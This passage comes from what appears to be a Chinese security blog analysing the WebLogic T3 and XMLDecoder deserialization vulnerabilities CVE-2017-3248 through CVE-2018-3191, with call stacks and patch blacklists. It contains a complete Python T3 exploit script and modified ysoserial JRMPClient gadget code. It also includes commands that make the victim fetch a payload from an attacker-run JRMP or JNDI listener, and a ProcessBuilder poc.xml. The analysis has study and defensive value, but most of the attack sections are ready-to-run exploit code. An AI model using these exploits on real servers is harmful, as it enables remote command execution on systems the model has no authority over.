这与上面的resolveClass、readExternal方法一样,都是在执行readObject方法的底层执行 最后会调用恶意对象的readObject方法,执行CC1链总结 : 在Java中,当一个对象被序列化时,会将对象的类型信息和对象的数据一起写入流中。当流被反序列化时,Java会根据类型信息创建对象,并将对象的数据从流中读取出来,然后调用对象中的readObject方法将数据还原到对象中,最终返回一个Java对象。在Weblogic中,当从流量中获取到普通类序列化数据的类对象后,程序会依次尝试调用类对象中的readObject、readResolve、readExternal等方法,以恢复对象的状态。
readObject方法是Java中的一个成员方法,用于从流中读取对象的数据,并将其还原到对象中。该方法可以被对象重写,以实现自定义的反序列化逻辑。
readResolve方法是Java中的一个成员方法,用于在反序列化后恢复对象的状态。当对象被反序列化后,Java会检查对象中是否存在readResolve方法,如果存在,则会调用该方法恢复对象的状态。
readExternal方法是Java中的一个成员方法,用于从流中读取对象的数据,并将其还原到对象中。该方法通常被用于实现Java标准库中的可序列化接口Externalizable,以实现自定义的序列化逻辑。修复 : 2016年10月发布的p23743997_1036_Generic补丁 在weblogic.corba.utils.MarshalledObject的readResolve方法中创建一个匿名内部类,重写resolveClass方法,加上了黑名单过滤,使用网上的一张图参考 :Java安全之Weblogic 2016-3510 分析 - nice_0e3 - 博客园 (cnblogs.com)
CVE-2017-3248 漏洞复现 :
1 2 3 4 5 6 java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'touch /tmp/cve-2017-3248' python cve-2017-3248.py 127.0.0.1 7001 ysoserial-all.jar 127.0.0.1 9999 JRMPClient /java/bin/java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'touch /tmp/cve-2017-3248' python cve-2017-3248.py 127.0.0.1 7001 ysoserial-all.jar 127.0.0.1 9999 JRMPClient
最终命令执行成功,在/tmp目录下新建了cve-2017-3248文件exp :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from __future__ import print_functionimport binasciiimport osimport socketimport sysimport timedef generate_payload (path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client ): command = 'java -jar {} {} {}:{} > payload.out' .format (path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port) print ("command: " + command) os.system(command) bin_file = open ('payload.out' ,'rb' ).read() return binascii.hexlify(bin_file) def t3_handshake (sock, server_addr ): sock.connect(server_addr) sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a' .decode('hex' )) time.sleep(1 ) data = sock.recv(1024 ) print (data) print ('handshake successful' ) def build_t3_request_object (sock, port ): data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371' data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07' .format ('{:04x}' .format (dport)) data3 = '1a7727000d3234322e323134' data4 = '2e312e32353461863d1d0000000078' for d in [data1,data2,data3,data4]: sock.send(d.decode('hex' )) time.sleep(2 ) print ('send request payload successful,recv length:%d' %(len (sock.recv(2048 )))) def send_payload_objdata (sock, data ): payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000' payload+=data payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff' payload = '%s%s' %('{:08x}' .format (len (payload)/2 + 4 ),payload) sock.send(payload.decode('hex' )) time.sleep(2 ) sock.send(payload.decode('hex' )) res = '' try : while True : res += sock.recv(4096 ) time.sleep(0.1 ) except Exception: pass return res def exploit (dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client ): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(65 ) server_addr = (dip, dport) t3_handshake(sock, server_addr) build_t3_request_object(sock, dport) payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client) print ("payload: " + payload) rs=send_payload_objdata(sock, payload) print ('response: ' + rs) print ('exploit completed!' ) if __name__=="__main__" : if len (sys.argv) != 7 : print ('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] ' '[JRMPListener ip] [JRMPListener port] [JRMPClient]\n' ) sys.exit() dip = sys.argv[1 ] dport = int (sys.argv[2 ]) path_ysoserial = sys.argv[3 ] jrmp_listener_ip = sys.argv[4 ] jrmp_listener_port = sys.argv[5 ] jrmp_client = sys.argv[6 ] exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
payloads.JRMPClient中payload的构造:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public Registry getObject ( final String command ) throws Exception { String host; int port; int sep = command.indexOf(':' ); if ( sep < 0 ) { port = new Random ().nextInt(65535 ); host = command; } else { host = command.substring(0 , sep); port = Integer.valueOf(command.substring(sep + 1 )); } ObjID id = new ObjID (new Random ().nextInt()); TCPEndpoint te = new TCPEndpoint (host, port); UnicastRef ref = new UnicastRef (new LiveRef (id, te, false )); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler (ref); Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class [] { Registry.class }, obj); return proxy; }
漏洞分析 : 首先分析的是输入流中的类能否绕过resolveClass中的过滤,经过断点调试及ysoserial中payload的生成,最终输出流中包装的类java.rmi.server.RemoteObjectInvocationHandler不在黑名单中,故这种方式可绕过resolveClass的过滤 在命令最终执行得地方下断点,利用得CC1链,即在InvokerTransformer类的transform方法上下断点 函数调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 transform:119 , InvokerTransformer (org.apache.commons.collections.functors) transform:122 , ChainedTransformer (org.apache.commons.collections.functors) get:157 , LazyMap (org.apache.commons.collections.map) invoke:69 , AnnotationInvocationHandler (sun.reflect.annotation) entrySet:-1 , $Proxy74 (com.sun.proxy) readObject:346 , AnnotationInvocationHandler (sun.reflect.annotation) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:57 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:601 , Method (java.lang.reflect) invokeReadObject:1004 , ObjectStreamClass (java.io) readSerialData:1891 , ObjectInputStream (java.io) readOrdinaryObject:1796 , ObjectInputStream (java.io) readObject0:1348 , ObjectInputStream (java.io) defaultReadFields:1989 , ObjectInputStream (java.io) readSerialData:1913 , ObjectInputStream (java.io) readOrdinaryObject:1796 , ObjectInputStream (java.io) readObject0:1348 , ObjectInputStream (java.io) readObject:370 , ObjectInputStream (java.io) executeCall:243 , StreamRemoteCall (sun.rmi.transport) invoke:377 , UnicastRef (sun.rmi.server) dirty:-1 , DGCImpl_Stub (sun.rmi.transport) makeDirtyCall:360 , DGCClient$EndpointEntry (sun.rmi.transport) registerRefs:303 , DGCClient$EndpointEntry (sun.rmi.transport) registerRefs:139 , DGCClient (sun.rmi.transport) read:312 , LiveRef (sun.rmi.transport) readExternal:491 , UnicastRef (sun.rmi.server) readObject:455 , RemoteObject (java.rmi.server) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:57 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:601 , Method (java.lang.reflect) invokeReadObject:1004 , ObjectStreamClass (java.io) readSerialData:1891 , ObjectInputStream (java.io) readOrdinaryObject:1796 , ObjectInputStream (java.io) readObject0:1348 , ObjectInputStream (java.io) defaultReadFields:1989 , ObjectInputStream (java.io) readSerialData:1913 , ObjectInputStream (java.io) readOrdinaryObject:1796 , ObjectInputStream (java.io) readObject0:1348 , ObjectInputStream (java.io) readObject:370 , ObjectInputStream (java.io) readObject:69 , InboundMsgAbbrev (weblogic.rjvm) read:41 , InboundMsgAbbrev (weblogic.rjvm) readMsgAbbrevs:283 , MsgAbbrevJVMConnection (weblogic.rjvm) init:215 , MsgAbbrevInputStream (weblogic.rjvm) dispatch:498 , MsgAbbrevJVMConnection (weblogic.rjvm) dispatch:330 , MuxableSocketT3 (weblogic.rjvm.t3) dispatch:394 , BaseAbstractMuxableSocket (weblogic.socket) readReadySocketOnce:960 , SocketMuxer (weblogic.socket) readReadySocket:897 , SocketMuxer (weblogic.socket) processSockets:130 , PosixSocketMuxer (weblogic.socket) run:29 , SocketReaderRequest (weblogic.socket) execute:42 , SocketReaderRequest (weblogic.socket) execute:145 , ExecuteThread (weblogic.kernel) run:117 , ExecuteThread (weblogic.kernel)
进入到InboundMsgAbbrev的readObject方法,这里对weblogic T3协议传过来的数据进行反序列化操作 ServerChannelInputStream继承ObjectInputStream,继续往上查看调用readObject的地方,中间可以忽略ObjectInputStream readObject方法的底层执行,来到RemoteObject的readObject方法 如果对ysoserial的JRMP模块进行分析过,就能够清楚了解后面的这条链 详细参考:https://xz.aliyun.com/t/12780 大致流程 : 从最开始到现在的漏洞,需要明白恶意的payload都是寄托在T3协议之上的,将恶意的payload通过T3协议发送给weblogic服务器,weblogic服务器会对其进行反序列化,但是在InboundMsgAbbrev的resolveClass方法中,会对payload中的类进行过滤,只要绕过了黑名单,恶意的payload就会反序列化导致命令执行 使用exploit.JRMPListener开启9999端口远程对象调用服务,对应的是CC1链构造的恶意payload1 使用python脚本与weblogic服务通信,发送由payloads.JRMPClient生成的payload2,payload2在weblogic反序列化后会与JRMPListener的9999端口请求,得到恶意的payload2后,反序列化后会导致命令的执行修复 : 官方给出了p24667634_1036_Generic补丁,修复点还是添加黑名单 在InboundMsgAbbrev.ServerChannelInputStream中,对java.rmi.registry.Registry
进行过滤
1 2 3 4 5 6 7 8 9 10 11 protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException { String[] arr$ = interfaces; int len$ = interfaces.length; for (int i$ = 0 ; i$ < len$; ++i$) { String intf = arr$[i$]; if (intf.equals("java.rmi.registry.Registry" )) { throw new InvalidObjectException ("Unauthorized proxy deserialization" ); } } return super .resolveProxyClass(interfaces); }
参考 :Java 安全之Weblogic 2017-3248分析 - nice_0e3 - 博客园 (cnblogs.com) CVE-2017-3248——WebLogic反序列化初探-安全客 - 安全资讯平台 (anquanke.com)
CVE-2018-2628 可以看到在cve-2017-3248中的补丁中,在resolveProxyClass方法中对java.rmi.registry.Registry
进行了过滤。 在readObject底层操作中,存在两条路,一条是resolveClass,另一条是resolveProxyClass。当反序列化的是动态代理对象,就会走到resolveProxyClass方法中,如果取消Proxy的包装,就能够绕过resolveProxyClass方法绕过分析 两种利用方式 第一:去除Proxy,修改payloads.JRMPClient生成payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public Registry getObject ( final String command ) throws Exception { String host; int port; int sep = command.indexOf(':' ); if ( sep < 0 ) { port = new Random ().nextInt(65535 ); host = command; } else { host = command.substring(0 , sep); port = Integer.valueOf(command.substring(sep + 1 )); } ObjID id = new ObjID (new Random ().nextInt()); TCPEndpoint te = new TCPEndpoint (host, port); UnicastRef ref = new UnicastRef (new LiveRef (id, te, false )); return ref; }
修改后打成jar包,然后按照cve-2017-3248的步骤即可利用 第二:使用java.rmi.activation.Activator远程接口 还是修改payloads.JRMPClient
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public Registry getObject ( final String command ) throws Exception { String host; int port; int sep = command.indexOf(':' ); if ( sep < 0 ) { port = new Random ().nextInt(65535 ); host = command; } else { host = command.substring(0 , sep); port = Integer.valueOf(command.substring(sep + 1 )); } ObjID id = new ObjID (new Random ().nextInt()); TCPEndpoint te = new TCPEndpoint (host, port); UnicastRef ref = new UnicastRef (new LiveRef (id, te, false )); Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class [] { Activator.class }, obj); return proxy; }
修复 : 2018年发布的p27395085_1036_Generic 其补丁对sun.rmi.server.UnicastRef
进行了过滤,具体位置在weblogic.utils.io.oif.WebLogicFilterConfig
1 private static final String[] DEFAULT_BLACKLIST_CLASSES = new String []{"org.codehaus.groovy.runtime.ConvertedClosure" , "org.codehaus.groovy.runtime.ConversionHandler" , "org.codehaus.groovy.runtime.MethodClosure" , "org.springframework.transaction.support.AbstractPlatformTransactionManager" , "sun.rmi.server.UnicastRef" };
CVE-2018-2893 由于在CVE-2018-2628的补丁后,对sun.rmi.server.UnicastRef
进行了过滤,所以这里的绕过方式就是CVE-2016-0638与CVE-2017-3248的结合 修改payloads.JRMPClient 由于JDK中不存在StreamMessageImpl类,所以需要导入weblogic中的类
1 import weblogic.jms.common.StreamMessageImpl;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public Object getObject (final String command ) throws Exception { String host; int port; int sep = command.indexOf(':' ); if (sep < 0 ) { port = new Random ().nextInt(65535 ); host = command; } else { host = command.substring(0 , sep); port = Integer.valueOf(command.substring(sep + 1 )); } ObjID objID = new ObjID (new Random ().nextInt()); TCPEndpoint tcpEndpoint = new TCPEndpoint (host, port); UnicastRef unicastRef = new UnicastRef (new LiveRef (objID, tcpEndpoint, false )); RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler (unicastRef); Object object = Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class [] { Registry.class }, remoteObjectInvocationHandler); return streamMessageImpl(Serializer.serialize(object)); }
修复 : 18年7月的p27919965_1036_Generic补丁
1 2 3 4 5 6 7 8 9 10 11 private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors" , "com.sun.org.apache.xalan.internal.xsltc.trax" , "javassist" , "java.rmi.activation" , "sun.rmi.server" }; private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure" , "org.codehaus.groovy.runtime.ConversionHandler" ,"org.codehaus.groovy.runtime.MethodClosure" , "org.springframework.transaction.support.AbstractPlatformTransactionManager" , "java.rmi.server.UnicastRemoteObject" , "java.rmi.server.RemoteObjectInvocationHandler" };
对java.rmi.activation.*
、sun.rmi.server.*
、java.rmi.server.RemoteObjectInvocationHandler
、java.rmi.server.UnicastRemoteObject
进行了过滤
CVE-2018-3245 这里过滤了RemoteObjectInvocationHandler和UnicastRemoteObject,需要重新找到一个替代类,但是总体的思想没有变 观察CVE-2017-3248中的函数调用栈,会调用RemoteObject的readObject方法,所以这里只需要找到继承java.rmi.server.RemoteObject
的类就行 查看RemoteObject的子类: 可利用的类:
1 2 3 4 5 6 javax.management.remote.rmi.RMIConnectionImpl_Stub com.sun.jndi.rmi.registry.ReferenceWrapper_Stub javax.management.remote.rmi.RMIServerImpl_Stub sun.rmi.registry.RegistryImpl_Stub sun.rmi.transport.DGCImpl_Stub sun.management.jmxremote.SingleEntryRegistry
继续修改payloads.JRMPClient
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import javax.management.remote.rmi.RMIConnectionImpl_Stub;public Object getObject (final String command ) throws Exception { String host; int port; int sep = command.indexOf(':' ); if (sep < 0 ) { port = new Random ().nextInt(65535 ); host = command; } else { host = command.substring(0 , sep); port = Integer.valueOf(command.substring(sep + 1 )); } ObjID objID = new ObjID (new Random ().nextInt()); TCPEndpoint tcpEndpoint = new TCPEndpoint (host, port); UnicastRef unicastRef = new UnicastRef (new LiveRef (objID, tcpEndpoint, false )); RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub (ref); return stub; }
修复 2018年8月发布的p28343311_1036_201808Generic补丁 它将java.rmi.server.RemoteObject加入到黑名单,使用网上一张图
CVE-2018-3191 这个漏洞是T3+JNDI漏洞复现 : 直接下载这个利用工具https://github.com/m00zh33/CVE-2018-3191 然后配合JNDI利用工具https://github.com/welk1n/JNDI-Injection-Exploit python脚本依然使用cve-2017-3248的脚本,修改一些参数即可
1 2 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/cve-2018-3191" -A "192.168.155.90" python cve-2018-3191.py 127.0.0.1 7001 weblogic-spring-jndi-10.3.6.0.jar rmi://192.168.155.90:1099/ushw72
漏洞分析 : 在JndiTemplate类的lookup处下断点,开启调试 函数调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 lookup:155 , JndiTemplate (com.bea.core.repackaged.springframework.jndi) lookupUserTransaction:565 , JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta) initUserTransactionAndTransactionManager:444 , JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta) readObject:1198 , JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:57 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:601 , Method (java.lang.reflect) invokeReadObject:1004 , ObjectStreamClass (java.io) readSerialData:1891 , ObjectInputStream (java.io) readOrdinaryObject:1796 , ObjectInputStream (java.io) readObject0:1348 , ObjectInputStream (java.io) readObject:370 , ObjectInputStream (java.io) readObject:69 , InboundMsgAbbrev (weblogic.rjvm) read:41 , InboundMsgAbbrev (weblogic.rjvm) readMsgAbbrevs:283 , MsgAbbrevJVMConnection (weblogic.rjvm) init:215 , MsgAbbrevInputStream (weblogic.rjvm) dispatch:498 , MsgAbbrevJVMConnection (weblogic.rjvm) dispatch:330 , MuxableSocketT3 (weblogic.rjvm.t3) dispatch:394 , BaseAbstractMuxableSocket (weblogic.socket) readReadySocketOnce:960 , SocketMuxer (weblogic.socket) readReadySocket:897 , SocketMuxer (weblogic.socket) processSockets:130 , PosixSocketMuxer (weblogic.socket) run:29 , SocketReaderRequest (weblogic.socket) execute:42 , SocketReaderRequest (weblogic.socket) execute:145 , ExecuteThread (weblogic.kernel) run:117 , ExecuteThread (weblogic.kernel)
前面这些步骤不需要管,这条链就4个步骤 观察initUserTransactionAndTransactionManager方法,userTransactionName是我们设置的rmi地址 最后通过lookup函数查询rmi 根据以上分析,也可以通过修改ysoserial来获得payload
1 2 3 4 5 6 7 8 public Object getObject (String command) throws Exception { JtaTransactionManager jtaTransactionManager = new JtaTransactionManager (); jtaTransactionManager.setUserTransactionName(command); return jtaTransactionManager; }
修复 : 2018年8月发布p28343311_1036_Generic补丁,它将JtaTransactionManager的父类AbstractPlatformTransactionManager加入到了黑名单 复制网上一张图
参考 weblogic古老漏洞梳理 | r2’s blog (gitee.io) 修复weblogic的JAVA反序列化漏洞的多种方法 | WooYun知识库 (xmd5.com) 从防护角度看Weblogic反序列化历史漏洞 - FreeBuf网络安全行业门户 weblogic漏洞大杂烩
基于XML 前置知识 XMLDecoder : 官方文档解释
The XMLDecoder class is used to read XML documents created using the XMLEncoder and is used just like the ObjectInputStream.
package: java.beans example:
1 2 3 4 5 XMLDecoder d = new XMLDecoder ( new BufferedInputStream ( new FileInputStream ("Test.xml" ))); Object result = d.readObject();d.close();
Constructor and Method:
1 2 3 4 5 6 7 8 9 10 XMLDecoder(InputSource is) XMLDecoder(InputStream in) Object readObject ()
XMLEncoder : 官方文档解释
The XMLEncoder class is a complementary alternative to the ObjectOutputStream and can used to generate a textual representation of a JavaBean in the same way that the ObjectOutputStream can be used to create binary representation of Serializable objects.
example:
1 2 3 4 5 XMLEncoder e = new XMLEncoder ( new BufferedOutputStream ( new FileOutputStream ("Test.xml" ))); e.writeObject(new JButton ("Hello, world" )); e.close();
Constructor and Method:
1 2 3 4 5 6 XMLEncoder(OutputStream out) void writeObject (Object o)
XMLDecoder反序列化测试 测试类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package XmlDecoder;import java.beans.XMLDecoder;import java.io.BufferedInputStream;import java.io.FileInputStream;import java.io.FileNotFoundException;public class XmlDecoderTest { public static void main (String[] args) throws FileNotFoundException { XMLDecoder xmlDecoder = new XMLDecoder (new BufferedInputStream (new FileInputStream ("C:\\code\\javacode\\java-sec\\src\\main\\java\\XmlDecoder\\poc.xml" ))); Object o = xmlDecoder.readObject(); xmlDecoder.close(); } }
测试poc.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <java version ="1.4.0" class ="java.beans.XMLDecoder" > <void class ="java.lang.ProcessBuilder" > <array class ="java.lang.String" length ="3" > <void index ="0" > <string > cmd</string > </void > <void index ="1" > <string > /C</string > </void > <void index ="2" > <string > calc</string > </void > </array > <void method ="start" /> </void > </java >
命令执行成功流程分析 : 关键函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 public boolean scanDocument (boolean complete) throws IOException, XNIException { fEntityManager.setEntityHandler(this ); int event = next(); do { switch (event) { case XMLStreamConstants.START_DOCUMENT : break ; case XMLStreamConstants.START_ELEMENT : break ; case XMLStreamConstants.CHARACTERS : fDocumentHandler.characters(getCharacterData(),null ); break ; case XMLStreamConstants.SPACE: break ; case XMLStreamConstants.ENTITY_REFERENCE : break ; case XMLStreamConstants.PROCESSING_INSTRUCTION : fDocumentHandler.processingInstruction(getPITarget(),getPIData(),null ); break ; case XMLStreamConstants.COMMENT : fDocumentHandler.comment(getCharacterData(),null ); break ; case XMLStreamConstants.DTD : break ; case XMLStreamConstants.CDATA: fDocumentHandler.startCDATA(null ); fDocumentHandler.characters(getCharacterData(),null ); fDocumentHandler.endCDATA(null ); break ; case XMLStreamConstants.NOTATION_DECLARATION : break ; case XMLStreamConstants.ENTITY_DECLARATION : break ; case XMLStreamConstants.NAMESPACE : break ; case XMLStreamConstants.ATTRIBUTE : break ; case XMLStreamConstants.END_ELEMENT : break ; default : throw new InternalError ("processing event: " + event); } event = next(); } while (event!=XMLStreamConstants.END_DOCUMENT && complete); if (event == XMLStreamConstants.END_DOCUMENT) { fDocumentHandler.endDocument(null ); return false ; } return true ; }
这个函数是扫描xml文档的一个方法,逐个标签读取,同时会读取到换行符 对于以上poc,解析流程为:714 14 14 14 14(cmd) 24 24 14 14(/C) 24 24 14 14(calc) 24 24 24 124 28 这里的关键逻辑都在next中 比如在解析<void class="java.lang.ProcessBuilder">
时,函数调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 addAttribute:84 , NewElementHandler (com.sun.beans.decoder) addAttribute:102 , ObjectElementHandler (com.sun.beans.decoder) startElement:294 , DocumentHandler (com.sun.beans.decoder) startElement:509 , AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers) scanStartElement:1364 , XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl) next:2787 , XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl) next:606 , XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl) scanDocument:510 , XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl) parse:848 , XML11Configuration (com.sun.org.apache.xerces.internal.parsers) parse:777 , XML11Configuration (com.sun.org.apache.xerces.internal.parsers) parse:141 , XMLParser (com.sun.org.apache.xerces.internal.parsers) parse:1213 , AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers) parse:643 , SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp) parse:327 , SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp) run:375 , DocumentHandler$1 (com.sun.beans.decoder) run:372 , DocumentHandler$1 (com.sun.beans.decoder) doPrivileged:-1 , AccessController (java.security) doIntersectionPrivilege:76 , ProtectionDomain$JavaSecurityAccessImpl (java.security) parse:372 , DocumentHandler (com.sun.beans.decoder) run:201 , XMLDecoder$1 (java.beans) run:199 , XMLDecoder$1 (java.beans) doPrivileged:-1 , AccessController (java.security) parsingComplete:199 , XMLDecoder (java.beans) readObject:250 , XMLDecoder (java.beans) main:11 , XmlDecoderTest (XmlDecoder)
从next开始,首先进入XMLDocumentScannerImpl类的next方法
1 2 3 public int next () throws IOException, XNIException { return fDriver.next(); }
这里的fDriver是XMLDocumentScannerImpl对象,接下来到XMLDocumentFragmentScannerImpl的next方法 这个方法比较长。主要是根据fScannerState参数来选择对应的case 这里进入这个case
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 case SCANNER_STATE_START_ELEMENT_TAG :{ fEmptyElement = scanStartElement() ; if (fEmptyElement){ setScannerState(SCANNER_STATE_END_ELEMENT_TAG); }else { setScannerState(SCANNER_STATE_CONTENT); } return XMLEvent.START_ELEMENT ; }
XMLDocumentFragmentScannerImpl类的scanStartElement方法主要作用是解析标签及其属性 来到AbstractSAXParser类的startElement方法
1 2 fContentHandler.startElement(uri, localpart, element.rawname, fAttributesProxy);
进入这句,fContentHandler为DocumentHandler,进入DocumentHandler的startElement方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public void startElement (String var1, String var2, String var3, Attributes var4) throws SAXException { ElementHandler var5 = this .handler; try { this .handler = (ElementHandler)this .getElementHandler(var3).newInstance(); this .handler.setOwner(this ); this .handler.setParent(var5); } catch (Exception var10) { throw new SAXException (var10); } for (int var6 = 0 ; var6 < var4.getLength(); ++var6) { try { String var7 = var4.getQName(var6); String var8 = var4.getValue(var6); this .handler.addAttribute(var7, var8); } catch (RuntimeException var9) { this .handleException(var9); } } this .handler.startElement(); }
这里的this.handler指的是VoidElementHandler对象 可以进入getElementHandler函数,此时的var1是void
